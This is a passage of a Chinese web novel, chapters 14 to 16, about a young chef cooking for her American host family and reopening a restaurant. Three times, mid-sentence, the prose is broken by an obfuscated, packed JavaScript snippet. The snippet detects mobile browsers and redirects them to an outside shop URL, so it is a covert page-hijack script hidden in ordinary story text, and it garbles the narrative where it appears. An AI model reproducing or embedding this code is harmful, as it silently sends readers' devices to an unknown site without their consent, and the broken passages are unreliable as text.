然而上一刻对唐宁表示失望的威尔逊先生，现在无论如何也丢不开面子跟着一起去厨房，他喝了口威士忌，“不了，我怕被熏得把午餐吐出来。” 话虽如此，等妻子跟贝内特祖孙离开视线，威尔逊先生用力地耸了几下鼻子。 好香的味道。 只不过太淡了，怎么用力都觉得闻不够。 直到发觉自己不知什么时候从沙发走到了客厅和餐厅的连接处，才突然反应过来，停下脚步。 他应该跟着一起进去的。 起码鼻子能享受得多一些。 现在进去的话，肯定要被莫妮卡那个小气的女人嘲笑。 威尔逊先生一屁股坐回沙发，看似高冷端庄，实则心里就像被猫爪似的，痒得不得了。 时间一点一滴过去。 仿佛过了一个世纪。 妻子始终都没从厨房里出来看他一眼。 有那么多忙需要帮吗？ 厨房里飘出来的味道越来越丰富，越来越浓郁，威尔逊先生脸色越来越不好看，恨不得直接冲进去，看看这几个女人进去这么久都舍不得出来，到底是在做什么？ 刚一起身，就听到苏珊大喊一声：“威尔逊先生，晚饭准备好了！” 他迫不及待地走过去，怕被看出急切，特意在迈进餐厅的前一秒慢下了步子。 然而，无人在意他什么时候走进来的，目光都牢牢地黏在餐桌上。 威尔逊先生也顾不上质问妻子，视线随之落在被挤得满满当当的餐桌上，每一道菜都堪称色香味俱全，散发着独特的吸引人的香味。 他满眼不可思议，看向洗完手走出厨房的女孩。 “噢，我的上帝，你究竟是怎么做到的？” 14. 鱼头泡饼，糖醋瓦块鱼、椒盐鱼尾^…… 餐厅里，香味四处弥漫，先前的腥臭味早已消失得无影无踪。 威尔逊先生毫无形象地猛吸了好几口，试图从空气中捕捉到一丝一毫的异味，然而却失败了。 “怎么可能呢？” 美利坚无论是家里还是餐厅里，鱼类食物通常都选择海鱼，诸如鳕鱼，金枪鱼等等，肉质厚实，且刺少，哪怕生吃都无比鲜甜美妙。 其中最重要的原因，就是淡水鱼身上总是有一股难以去除的土腥气。 整个北美，或许只有唐人街里的中餐馆才会卖淡水鱼菜，他们用姜、辣椒和黄酒来掩盖腥味，威尔逊先生也曾去吃过，可无论厨师用多么厚重的酱汁掩饰，他都能嗅到一股似有若无的腥味。 可现在…… “难道真像莫妮卡说的，你的真实身份，其实是一位来自中国的年轻魔法师？” 唐宁已经开始习惯外邦人对她厨艺的评价。 不是大麻，就是魔法。 唐宁目光平静地望着威尔逊先生，一本正经颔首道：“是的，威尔逊先生，我是魔法师。” 与其跟对方讲解如何给鱼去膜放血，盐搓粘液，外加白酒去腥，她还是宁愿选择承认自己会使用魔法。 未来她还会做不少中餐，每一次都要解释的话，未免太累人。 话音落下，空气安静了几秒钟。 威尔逊先生一言不发地盯着唐宁，眼底好像闪过一丝……尊敬？ 唐宁眨眨眼。 一定是错觉。 毕竟大家都知道，这是一个玩笑。 “好了，多纳托，快点来吃吧。”威尔逊太太将他拉过来，坐在椅子上。 “这么多美食摆在眼前，真不知道你是怎么耐得下性子问东问西的。” 贝内特太太吐槽他，他也没有反驳，坐在餐桌旁扫向桌上的菜，“这些全都是用那条鱼烹制出来的？” 提到这个，唐宁压下心底的那丝疑惑，介绍起菜来，“是的，鱼头、鱼身、鱼尾，分别做出来的鱼头泡饼，糖醋瓦块鱼、椒盐鱼尾。” 一条鱼居然能做出这么多吃法？ 大家早已按捺不住，动起了叉子。 外邦人鲜少有吃鱼头的，看着被片成两半含笑九泉的大花鲢，以及外表平平无奇的煎炸鱼尾，最先被攻略的是散发着浓烈甜香和醋香的瓦块鱼。 瓦块鱼顾名思义，取鲢肉最精华的中段，切成薄厚适中瓦块状。 其刀法讲究，不能将里面的刺切碎，以避免误食，伤及喉管。 切好的鱼块挂藕粉炸黄，比起淀粉和面粉，更为透明好看，冰糖和醋熬制的琥珀色酱汁淋一勺上去，迅速深入每一处酥壳缝隙里，烙上独特的酸甜，最后撒上星点姜末，便可以出锅了。 威尔逊太太喜欢甜食，威尔逊先生也不例外，但两人还是第一次吃这种酸酸甜甜的鱼肉。 “小心刺。” 在唐宁的提醒下，威尔逊先生的手一顿，抬头看了一眼唐宁，然后没有用刀叉切碎鱼肉，而是学着她的样子，顺着鱼刺的方向轻轻咬下去。 入口的瞬间，牙齿碾碎裹满汁液的酥脆外壳，发出细微的，令人愉悦的碎裂声，紧接着，鲜嫩雪白的蒜瓣鱼肉毫无防备地溢出来，与外壳上霸道的酸甜里应外合。 醋的激酸在高温烹煮下变得缠绵，再被冰糖的醇厚慢慢收服，一起在嘴巴里肆意横流，衬得鱼肉没有一丁点腥味。 尤其贴着鱼骨边上的肉，格外紧实有嚼头，甚至还能尝到一丝鲜甜。 这一口下去，他感觉自己焕发出了新生，整个人仿佛一下年轻了十岁。 “我的上帝，简直难以置信，这真是那条丑陋的大胖鱼吗？” 直到此刻，他依旧觉得一切都不像是真的，说完又看向妻子：“你跟莫妮卡从超市回来，真的没有买海鱼吗？” 威尔逊太太吃得忘乎所以，却还不忘敷衍丈夫一句：“当然没有，多纳托，你不是都看到了？” 威尔逊先生：…… 好吧，他彻底相信了。 唐宁，这个中国女孩，她真的会魔法！ 22磅花鲢，鱼身占7磅，五个人一口接着一口，根本停不下来，很快就拨拉出半碟浓稠的汁。 唐宁恰如其分地端出一盘黄澄澄的“面条”。 “这道菜焙点面条进去会很好吃。” 四人不疑有他，只一味挥舞叉子，生怕慢点就吃不到了。 直到吃进嘴里。 “嗯？这好像不是面条。” 既没有面条那么柔软，也没有鱼那么酥脆。 微带酸甜，别有一番风味。 “这是什么东西，感觉好熟悉。”苏珊一边嚼嚼嚼，一边问道，“有点像马铃薯的味道？” 唐宁眉眼弯弯，露出酒窝：“没错，这是土豆擦丝，下锅炸成的‘面条’，裹这种酱汁再适合不过了。” “耶，我答对了，我的舌头可真是太敏锐了。”苏珊一脸激动，“或许我也有成为一名厨师的潜质。” 唐宁眉眼含笑，却没说话。 成为一名厨师，光是有灵敏的舌头还远远不够。 但不得不说，苏珊是一位非常难得的好食客，舌头灵，吃商高，在小某书就是活脱脱的一名“老吃家”。 “说不定还能当美食鉴赏家，为美食专栏写稿。”贝内特太太道。 “没错！这个更容易实现，我明天就要去给《BonAppétit?》投稿！” “需要主编的联系方式吗？我可以帮你拿到。” “那可真是太好了，凯瑟琳，你真是个好人，奶奶有你这样的朋友，真是我的荣幸！” “哈哈哈，你真会说话，到时候别忘了把宁的名字加进去，还能帮她打工的餐厅做一下广告，或许可以招揽一些顾客。” “那是当然的！” 尽管苏珊对丽萨有天大的怨念，但事关唐宁能否赚钱在美利坚生存下去，她不会计较这点小事。 更何况，还未必能发表上去呢。 毕竟那可是北美第一的美食杂志。 唐宁不在意是否能发表，但她感受得到苏珊的好意，于是抿了下唇，笑道：“那先谢谢你啦。” “不客气。”苏珊将一勺糖醋汁浇在米饭上，俏皮地朝她眨眨眼：“你是我最好的朋友！就像莫妮卡和凯瑟琳一样。” 桌上欢笑不断，威尔逊先生不参与女人的话题，趁其他人不注意，默默叉起了一块椒盐鱼尾。 这个看起来跟餐厅里的炸鱼烤鱼倒是没什么区别，最多也就是没有淡水鱼的腥味。 当他咬了一口才发现，他错了。 何止有区别，简直是大相庭径。 餐厅里的鱼都是炸得外酥里嫩，酥脆的外皮下是汁水丰盈的鱼肉，就像没有裹上酱汁的瓦块鱼一样。 可这条鱼尾看起来干干爽爽，没有任何汤汁，宛若战场上一身硝烟的士兵，色泽沉着焦黄，撒着椒盐点点暗褐，看上去一整个由外而内的酥脆，“喀嚓”一口下去，酥的掉渣，连骨头都可以咬碎吞下去。 焦香浓郁充斥口腔，越嚼越香。 听到动静，其他人才反应过来，视线一同看向他，见他一脸陶醉，仿佛要去见上帝。 苏珊情不自禁咽了咽口水，看了一眼盘子中被切成五块的鱼尾，将属于自己的那块叉起来直接送入口中，露出了跟威尔逊先生一样的神情。 “这时候如果能来上一杯酒就好了。”威尔逊先生喟叹道。 “多纳托！你答应过我的。”威尔逊太太一听到酒，就像是应激的猫咪，金色的毛发都险些要竖起来。 “我知道我知道，今天的饮酒量已经到头了，凯瑟琳，不要这么紧张，我只是说说而已。” 威尔逊先生一脸懊恼，“奇怪，怎么不知不觉把心里话给说出来了。” 见状，唐宁很想说一句。 因为，这就是一道货真价实的下酒菜。 以前在宫里的时候，膳房里有位老御厨，最爱的就是这口宫里贵人从不吃的酥炸鱼尾，配上一壶陈酿，他能坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134049|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在月亮底下喝一晚上。 唐宁之所以知道，是因为她也喝过。 不过她喜欢的不是这道鱼尾，而是另一道更为刺激的下酒菜。 说到下酒菜，她想起什么，起身去烤箱里看了一眼，按这个进度，吃完晚饭大概就能做好了。 “宁，你去厨房做什么，还有美味的食物吗？”苏珊问。 唐宁弯唇一笑：“晚饭结束后，你就会知道了。” 苏珊不解地歪了歪头。 难道是饭后甜点？ 桌上的两道菜差不多已经快要被一扫而光了，唯独鱼头泡饼还无人问津。 唐宁坐会餐桌，看了大家一眼：“你们不尝尝这个吗？” 几个外邦人面面相觑，面露难色。 威尔逊太太：“呃……坦白说，在我们的文化里，我们不吃鱼头，我从不知道该怎么吃它，而且，它看起来有一点点难以下口。” 贝内特太太：“这些鱼骨头很尖锐，对老年人来说，不太友好。” 苏珊最为直接：“抱歉，宁，它虽然看起来很漂亮，很美味，但它白色的眼珠实在是太可怕了，就像电影里被丧尸病毒感染的某种外星生物。” “一群胆小鬼。”威尔逊先生撇嘴不屑，“咳，可惜我已经吃饱了，吃太多对身体不好。” 唐宁耸了耸肩，“好吧。” 既然没人愿意吃，她便把筷子伸向了鱼头最精华的部位——鱼脸肉，俗称“核桃肉”。 这是一条鱼最活泛的所在，肉质滑如凝脂，火候恰到好处，只需要轻轻一抿，便化在舌尖。 鱼头经小火慢炖，酱色的浓汤已经浸透了每一寸肉，包括最为丰富的胶原，在浓稠的汤汁里晃动，宛若颤颤巍巍的琥珀冻，黏稠诱人。 夹一块放进嘴里，鲜与辣混合着肉的甜嫩，在口腔里疯狂交织。 “咕嘟——” 苏珊不自觉咽了一下口水。 “或许，我可以尝试一下。” 年轻人才不在乎什么面子，说试就试，二话不说一叉子下去，叉在了……酥饼上。 鱼头泡饼的酥饼堪称这道菜的绝杀。 尤其是这种泡得半透明的菱形饼块，吸饱了鱼汤的精髓，软塌塌地搭在叉子上，摇摇欲坠。入口的刹那，一半是裹着浓汁的丰腴咸鲜，一半还保留着外酥内韧的面香，两种口感在齿间厮杀又交融。 苏珊从一开始的试探，变成了不顾形象的大嚼，微麻微辣的汤汁让她额头沁出一层细密的汗珠，却还不忘催促贝内特太太： “快，快尝一口这个，奶奶，我保证会让你这辈子都难忘！” 三位老人看见两人吃得津津有味，早就开始不停分泌口水了，只是碍于脸面，没有像苏珊吞咽得那么明显。 无需多劝，三人又拿起了手中的刀叉，一致地朝酥饼挥去。 “耶稣啊，这也太好吃了！” 可是酥饼到底熟练有限，几个人每人一两块，很快就吃完了。 咂咂嘴巴，回味无穷。 于是，四个号称不吃鱼头的外邦人相互对视一眼，对还有一大半的鱼头下手了。 “我觉得没试过的东西才应该尝试，不会吃的东西我可以学习。” “鱼骨头而已，小心一点吐掉也没什么。” “这眼珠其实也没那么可怕，吃起来还会爆浆，跟泡芙没什么两样。” “我好像已经消化了，还可以再吃几口。” 从一开始的抗拒，到毫无心理负担的接受。 只需要一张饼的时间。 转眼间，大胖鱼的头就这么被五个人分食殆尽。 最后，苏珊还用盘底的汤汁，又拌了一晚米饭。 将最后一粒米塞进嘴里，眼神已变得十分迷离。 她摸着肚子上多出来的肉，打了一个长长的饱嗝，喝醉了似的，宛若一只树懒，挂在唐宁半边肩膀上。 “宁~” “我发誓。” “你就是z世代最伟大的魔法师！” 15. 灯影牛肉 前一晚吃得没这么撑，还能去院子外边散步消食。 今晚的一条鱼和一锅米饭，让他们撑到了嗓子眼，收拾完厨房之后，五个人整整齐齐瘫坐在沙发上，一动也不想动，像五只吃得肚皮溜圆的慵懒猫咪。 电视里正在播放脱口秀，却没有一个人笑得出声来。 其他人是吃多了饭，脑袋晕乎乎的。 唐宁是纯粹听不懂。 “噢，我真的太撑了，一定要运动一下，不然晚上又要睡不着了。” 散步是肯定不行的，贝内特太太索性打开墙边的钢琴盖子，弹起了一首悠扬的曲子。 没错，手指运动也算运动。 美妙的旋律在房间里弥漫开来，气氛正好。 威尔逊先生起身行了一个绅士礼，朝妻子伸出一只手，深情款款地望着她：“美丽的凯瑟琳，我是否有荣幸邀请你跳一支舞。” 上一次两人跳舞，还是在学校为威尔逊先生举办的退休舞会上，气氛并不怎么好。 威尔逊先生全程都像一只暴躁的黑熊。 做了一辈子备受尊敬的教授，威尔逊太太理解他因为不能再继续任教，心理落差太大而接受不了。 但难免也为此担心了好一阵子。 此刻她望着温和清醒的丈夫，感受到久违的浪漫，眼角倏地闪过一抹泪光。 她将手搭在他宽厚的手心上，“当然。” 两人站立相拥，随着舒缓的曲调，在客厅里慢慢摇晃，在对方耳边低语，一如年轻时第一次在大学舞会上相识一样。 情到浓处，亲吻彼此。 分明是百分之九十年轻人都会觉得肉麻的老派行为，苏珊却羡慕极了。 “哦，瞧瞧他们，又和好如初了。” 她转头看向身旁安静的女孩，“宁，你知道吗，这都是你的功劳。” 唐宁却仿佛没有听见苏珊的话，面色通红，两眼直勾勾地盯着电视，然而电视早被关掉了，此时一片乌漆嘛黑，只有沙发上两人的倒影。 苏珊：？ “嘿，宁，你在看什么？” 唐宁被拍了下肩膀，骤然回神，“没什么，有点渴，我去冰箱拿瓶水。” 苏珊看了一眼桌子上还有大半杯的可乐，又看了一眼朝厨房走去的唐宁，见她步伐僵硬，耳廓烫红，一脸疑惑，“你身体不舒服吗？我开车带你去医院。” 听见医院这个单词，唐宁条件反射手指一紧，连忙回头：“不不不，苏珊，我很好，我只是去看看烤箱里的东西好了没有，马上回来。” 苏珊将信将疑道：“好吧，如果需要帮忙，一定要告诉我。” 唐宁点点头，目不斜视地转身走进厨房，目光从头到尾都没敢往正在热吻的威尔逊夫妇那边瞧。 无他。 对于唐宁这个古人来说，这一幕的冲击力实在有亿点大。 之前在学校里第一次看到有同学在光天化日之下拥吻，她的观念就已经被重塑了，再次看见的时候，哪怕仍会感到浑身不自在，只要默默走开就好了。 可她没想到，老成持重的老年人也会如此肆无忌惮地表达爱意。 只怪她没有心理准备，且距离太近。 一曲舞毕，肚子里的食物总算是消化了些。 又聊了会儿天，威尔逊夫妇准备离开。 唐宁回到客厅，将精心准备好的保鲜盒递给威尔逊太太，作为火腿的回礼。 出于礼貌，威尔逊太太当场打开保鲜盒，一股霸道的麻辣鲜香扑鼻而来，让人心头一颤。 “哇喔，这是什么？！” “一种来自于川蜀地区的小吃，叫做灯影牛肉。” “灯影牛肉？” 听到翻译器里机械音的介绍，几个人都愣住了，眼巴巴地看着盒子里薄如蝉翼的牛肉片，宛若秋天被风干的枫叶，散发着令人疯狂分泌口水的的异香。 牛肉他们能理解，灯影是什么？ 用灯的影子做的牛肉？ 这么一想，在场众人看向唐宁的眼神变得惊讶，异口同声道：“是魔法吗？！” 唐宁也愣住了，旋即反应过来他们误会了，眼底划过一丝无奈的笑意，旋即让苏珊帮她关一下灯，而后拿起一片牛肉，高高举起，放在手机灯光下。 奇迹发生了。 薄厚不足一毫米的肉片，竟投过了光，在白色的墙壁上投出清晰的、带着牛肉肌理纹路的淡影，仿如一场微型的皮影戏。 灯光再次亮起，他们看唐宁的眼神已经从惊叹变成了崇敬。 唐宁：…… 怎么有种误会更深了的感觉？ 她不得不耐心解释：“中国有一种传统戏剧形式，人们将兽皮或纸板剪出人物形象，再借助灯光投射进皮影箱内，通过控制人物动作和戏曲声腔，来进行故事表演，这种形式叫做皮影戏。” “灯影牛肉便是因薄至透光，形似皮影幕布而得名。” 唐宁的声音很温和，听起来很舒服。 威尔逊夫妇，贝内特太太，包括苏珊在内，虽然听不懂，却都听得津津有味。 直到翻译器话音落下，她们才流露出震撼的表情。 “这听起来实在太有趣了。” “我要去油管搜索皮影戏，看看究竟是什么样的。” 苏珊恍然大悟：“所以，这就是你昨晚就一直在准备的食物吗？” 唐宁：“是的，牛肉要达到透光的效果，需要很多道工序，比较耗费时间。” 威尔逊夫妇大为感动，“这也太珍贵了！” “它闻起来很诱人，”威尔逊先生问，“我现在可以尝一尝吗？” “当然。” 威尔逊先生立马拿起一片牛肉，塞进嘴里。 “咔嚓——” 一声脆响在口腔中炸开，不似薯片的空洞断裂，而是每一丝牛肉纤维被风干、浸渍、烘烤后形成的酥脆结构在这一瞬间崩塌。刹那间，无数封印在牛肉纤维里的香料，迸发出一股浓烈的香气，直冲颅顶。 芝麻醇厚的香贯穿口腔，花椒的麻如微弱电流，精准刺激舌尖的每个味蕾，让它们重新苏醒，紧接着汹涌的辣接踵而至，不单纯只是灼烧的痛感，而是混杂着有层次的独特香味，在嘴巴里刻画出令人微微出汗的温热轨迹。 不仅如此，牛肉的回甘像浓缩的鲜味炸弹，在牙齿一次次咀嚼中，压榨出扎实厚重的肉感，不禁让人产生一种巨大的满足感。 一口，便足以让人上瘾。 好似灵魂深处都在不停呐喊着：想要再来一片。 再来一片！ 再来一片！ 威尔逊先生吃得根本停不下来，看得一旁的三人嘴巴不停下雨。 威尔逊太太闻到是辣味的食物，本来是不想尝的，何况才刚刚消化，她可不想撑得睡不着觉。可看到丈夫这副的样子，也难免忍不住，直接从保鲜盒里捏出一片纤薄的牛肉，放进了嘴里。 入口的一瞬间，先前被碳水炸得晕乎乎的大脑当即清醒，两眼放光。 “真好吃，这可比伊比利亚火腿美妙多了！” 虽说威尔逊太太是因为吃腻了火腿，乍一见新的食物才这么说。 唐宁却依旧很受用。 贝内特太太还算自持，淡淡地瞥了眼保鲜盒里火辣辣的牛肉，默默的咽了下口水，苏珊却已经馋得不行了，她转头看向唐宁，眼神十分无助。 “宁~~~” 唐宁似是早有准备，当即拿出自留的一盒灯影牛肉，打开递给苏珊和贝内特太太。 “少吃一点，不会撑的。” 然而，她没想到的是…… 五分钟后。 四个皮肤白皙的外邦人被辣得面色通红，嘴巴微微肿起，额角还在不停流汗，却依旧没有停下来的趋势。 唐宁张了张唇，为了避免她们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138341|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把胃吃坏，还是忍不住劝了两句，并且保证以后还会做一些，她们才恋恋不舍地合上了盖子。 苏珊站在冰箱旁，猛灌几口可乐，喟叹道：“太爽啦！” 贝内特太太默默地抿了几口冰水，感觉灵魂飘飘然的，十分奇妙。 威尔逊太太一边用手帕擦“眼泪”，一边对唐宁说道：“今晚真的是太令人难忘了，宁，这一切都是你带来的，我真不知道该怎么感谢你。” 丈夫终于不再酗酒，愿意好好吃饭，从低落的情绪里走出来了。 他们还重新找回了对彼此的爱意。 这一切都是因为唐宁堪比魔法的厨艺。 唐宁谦和道：“您不用客气，你们毫不吝啬的赞美已经是对厨师最大的褒奖了。” 美食本就容易让人感到幸福。 更何况，在幸福的基础上，还间接帮到了人。 唐宁内心觉得非常满足。 “可怜的孩子，在我们面前，你无须逞强。” 威尔逊先生露出慈蔼的笑容：“你现在经济如此拮据，恐怕已经付不起莫妮卡的房租了吧？” 唐宁：…… 嘶。 这老外。 怎么哪壶不开提哪壶？ 正要开口，却见威尔逊先生话锋一转，大手一挥，“这样吧，我愿意将曼哈顿的公寓赠与你，虽然距离大学有点远，但这样的话，你就不用有租房的困扰了。” 唐宁：？ 好熟悉的台词。 唐宁不理解美利坚人动辄送房子的举动，虽然心的确动了一下，但她不可能真的接受。 却没想到，一番推辞下，把威尔逊先生的犟脾气给激出来了。 “不行，我必须向你表达感谢，除了我们所在的布鲁克林，其他曼哈顿、皇后区、布朗克斯、史泰登岛，我们都有几间公寓和别墅，你选一个吧。” 他靠坐在沙发上，大有唐宁不选，他就不走的架势。 唐宁显然有些无奈，依旧摇头：“中国有句古话，‘君子不食嗟来之食’。” “我虽然算不上是君子，但如果因为几顿饭就接受这么大的馈赠，我会觉得受之有愧，夜夜寝食难安。这样一来，威尔逊先生你的好意就变成了压力，我因为担心你们再送我什么承受不起的礼物，而不敢再请你们吃饭，这是你们所希望的吗？” 威尔逊先生沉默了。 他能理解唐宁的意思，可他如果不表示些什么，他也会寝食难安。 一时间，双方都不知道该怎么办了。 此时，苏珊突然想起什么，把手里喝空的可乐罐扔进垃圾桶。 “我有一个好主意！” “什么？” “宁正需要一名家教，威尔逊先生曾是商学院最优秀的教授，正好可以帮宁提高成绩啊！” 威尔逊太太眼睛一亮，“如果是这样的话，那可太好了！” 丈夫正是因为不能继续教授学生而感到困扰，而唐宁正需要一名能够帮助她提升学习的老师。 这岂不是两全其美，皆大欢喜！ 唐宁：！ 想起丽萨说过威尔逊教授的事迹。 错几个单词、礼堂、怒斥、赤裸裸的羞辱。 她一脸惊恐地看向苏珊。 满眼都写着一句话：我给你做好吃的，你竟然要害我？！ 苏珊显然没有接受到讯号，还把唐宁目前的课程和成绩向威尔逊先生详细说明。 唐宁急忙拉住她，尴尬而不失礼貌拒绝道：“不必了吧，我才入学一个月，成绩是可以慢慢赶上来的。” 苏珊：？ 你之前可不是这么说的。 更令人尴尬的是，听到这个建议，坚决要感谢唐宁的威尔逊教授却犹豫了。 他甚至打量了一眼连“howareyou”都说不利索的唐宁，嫌弃意味十分明显。 唐宁：……？ 16. 餐厅开业 回到阁楼，唐宁躺在床上望着屋顶，神态平静而安详。 为了能让唐宁迅速进入学习状态，提高学习成绩，苏珊主动提出，从明天起，每天晚上花一个小时教唐宁英文，每逢周一三五，威尔逊先生来贝内特家给唐宁补习功课。 威尔逊太太和贝内特太太负责提供生活保障。 四个人有商有量地就把计划给定好了，全程没有人问唐宁愿不愿意，以至于到最后，大家都心满意足地离开，唐宁也不得不接受这个事实。 一时间，她不知道自己是幸还是不幸。 苏珊愿意教她英文，她是十分欣喜的，但一想到威尔逊先生的严苛，唐宁就头皮发麻。 罢了。 事已至此，多思无用。 唐宁翻了个身，拿起手机，在小某书上记录下今天做过的菜。 才一天过去，她发现自己竟然有一百多个粉丝了。 也就是说，这一百多个人都喜欢她做的菜，她开心地在床上打了个滚儿。 笔记刚发出去，熟悉的ID闻香而来。 Momo：【啊啊啊啊特别提醒虽迟但到！又深夜放毒啦姐妹！】 吐司耶耶：【早餐油条豆腐脑，豆浆鸡蛋饼，两种口味？！晚餐一鱼三吃，夜宵还有灯影牛肉，天呐！每一样都看起来好好吃啊！姐妹对自己这么好，明天是不过了吗？！】 团团圆圆：【嗷，刚睡醒就馋我，都快十一点了，不知道外卖还能不能点到豆浆油条，算了还是直接吃午饭，点个酸菜鱼解解馋吧。】 崽拉想吃饭：【羡慕能点外卖，此时一个绝望的留子狠狠地碎了，并且去厨房锯了一块干巴面包，闭着眼，试图把切片香肠幻想成麻辣鲜香的灯影牛肉。】 Momo：【+1】 吐司耶耶：【+身份证号码】 May事儿别找我：【谁？大半夜的，又买了海外推！？好想吃啊，扭曲打滚ing。】 团团圆圆回复May事儿别找我：【……有没有一种可能，你们是同一个IP！】 May事儿别找我：【……！博主你在哪个州？这对我来说很重要！】 唐宁正看别人做菜看得起劲，后台不断有私信弹出来，点进去一看，全是问她住在哪儿的，她一头雾水，点开50+的评论，往上划了几下，才看见这几条评论。 落地美利坚的第一天，贝内特太太就提醒过她，不要随意向外人透露自己的个人信息，以免被盯上。 那时她还不懂什么叫做被盯上。 直到在论坛里看到初来乍到的留学生被人约去参加派对，染上毒瘾，以及打探寄宿留学生家世背景、寄宿家庭经济情况，并且实施入室抢劫的帖子，大为震惊。 故而，唐宁不会轻易透露出自己的住址。 不过，餐厅重新开业，需要客源，就免不得要进行一些宣传，眼下不失为一个免费的良机。 几经思量，她将餐厅地址发在了评论区，请大家感兴趣的话，半个月后来光顾。 工卡最快要20天才能申请到，但手头实在拮据，她免不了要先打几天黑工，便没有直接说明自己是餐厅的主厨。 消息一发出去，立刻引发出一片激烈的反响。 只是这反响跟唐宁预期的优点不一样。 疯帽子没帽子：【我去，博主才几个粉丝，这么快就要开始恰烂钱的？】 唐宁：？ 恰烂钱是什么？ 听起来不是什么好话。 吐司耶耶：【什么情况？】 疯帽子没帽子：【这家餐厅就在哈斯顿大学两条街外，名叫醉仙楼，专做中餐的，但从服务员到厨师，都是美利坚人，小小的老子饥不择食去吃过一次，从此留下了难以磨灭的阴影。】 崽拉想吃饭：【展开说说。】 疯帽子没帽子：【东西贼贵，味道一言难尽，这也就算了，卫生情况堪忧，平均每抬头一次，就能跟一只油光锃亮的双马尾对视一次，甚至还是大小不一样的。对了，拖凳子时有概率刷新出杰瑞。】 崽拉想吃饭：【别说了，已经成功扼制了我的食欲。】 疯帽子没帽子：【Yelp上骂声一片，堪称诈骗的餐厅，博主居然还推荐，不是恰烂钱是什么？】 团团圆圆：【我靠我靠我靠，虽然跟我没关系，但取关了。】 Momo：【什么什么？刚烤了块鱼排淋了点番茄酱，试图假装瓦块鱼，怎么一转眼的功夫，宝藏博主就塌房了？】 唐宁：…… 懂了。 醉仙楼生意差，并非地理位置不好，招牌无人知晓。 而是。 臭名昭著。 …… 半个月后。 在一个风和日丽、秋高气爽的周末。 醉仙楼整改结束，正式更名为食记，重新开张。 梅尔商业街人声鼎沸，几乎都是附近大学和社区的人，趁着假期出来吃饭约会，滑板自行车绕着婴儿车满街乱窜，看起来热闹极了。 相比之下，食记所在的街道因过于偏僻，连路过的人都寥寥无几，显得格外岁月静好。 对此，唐宁和丽萨早已商量好了对策。 丽萨手里抱着唐宁亲手用笔墨书写设计打印出来的宣传单，在人群中穿梭，热情地向路人推荐食记中餐。 因她一头红发，却化着典型的中式妆容，穿一身红底绣祥云仙鹤的汉服，颇具独特风情，引来不少人驻足，认真听她介绍餐厅。 莉莉比较内向，无论如何也不好意思穿汉服出去，唐宁便给她戴上了一个极具中国特色的熊猫头箍，加上她长相本就十分可爱，即便不开口说话，也引来不少人注目，主动来问她要手里的宣传单。 两人从商业街到哈斯顿校园，再到街区里的公园，发完了所有的宣传单，气喘吁吁地回到焕然一新的餐厅。 唐宁盛了两碗银耳羹给她们润嗓子。 晶莹剔透的银耳炖出了丰盈的胶质，如云朵一般在琥珀色的羹汤中舒展，圆润饱满的莲子若隐若现，红枣和枸杞的点点艳色缀于其中，视觉上就十分美味。 忙了一早上，喝上一口，软糯香甜的胶质包裹住舌尖，泛起丝丝缕缕的甘甜，瞬间抚平了所有的疲惫，五脏六腑都沁出一丝丝回甘来。 姐妹俩一勺接着一勺，吃得不亦乐乎。 第一天开张，不管是凯耶一家，还是唐宁本人，心情都很兴奋，也很期待。 不到十一点，他们就做好了迎客的准备。 可一上午过去，餐厅门口连个人影都没看见，一直到午饭高峰，拐角的便利店都有不少人去买快餐，愣是没有人往街道里面走走。 凯耶一家不禁有些担忧。 毕竟重新整改餐厅，花费了不少资金，如果没有生意，他们要赔进去一大笔钱。 丽萨看了一眼撑着下巴看着窗外出神的唐宁，想了一下，坐过去安慰道：“宁，你不用太担心了，我们相信你的厨艺，现在只不过是还没有人发现而已。” 唐宁一怔，旋即回过神来，甩了甩手里的单词本，“我没有担心，我只是在想‘营销’这个单词应该怎么拼，苏珊晚上要考我。” 自从有了苏珊的敦促，她已经从“abandon”成功进阶到“marketing”，平时一些简单的口语也能听得懂说得出了。 但威尔逊先生关于营销策略的课程，就没那么容易了。 所幸她有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148884|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀手锏。 只要威尔逊先生意图发火骂人，她就默默拿出一个装了零食的保鲜盒，他只能把怒火连同口水一起吞进肚子里。 丽萨：…… 看出来了。 宁对自己的课业有多自卑，对厨艺就有多自信。 不过，她的确有这个资本。 现在只是还没有人发现这一点而已。 只要有一位顾客愿意走进来，尝尝唐宁的手艺，一定会口口相传，吸引无数个人来这里。 这么想着，丽萨不安的心也随之平静下来。 而戴维就显得有些焦灼，他摘掉厨师帽，抓了抓头发，出门走到街口，想看看人都去哪儿了。 恰好碰见两位华人女士，手里拿着食记的宣传单，似乎是对宣传单上的食物感兴趣，特意找到这条街的。 见状，戴维立马迎了上去。 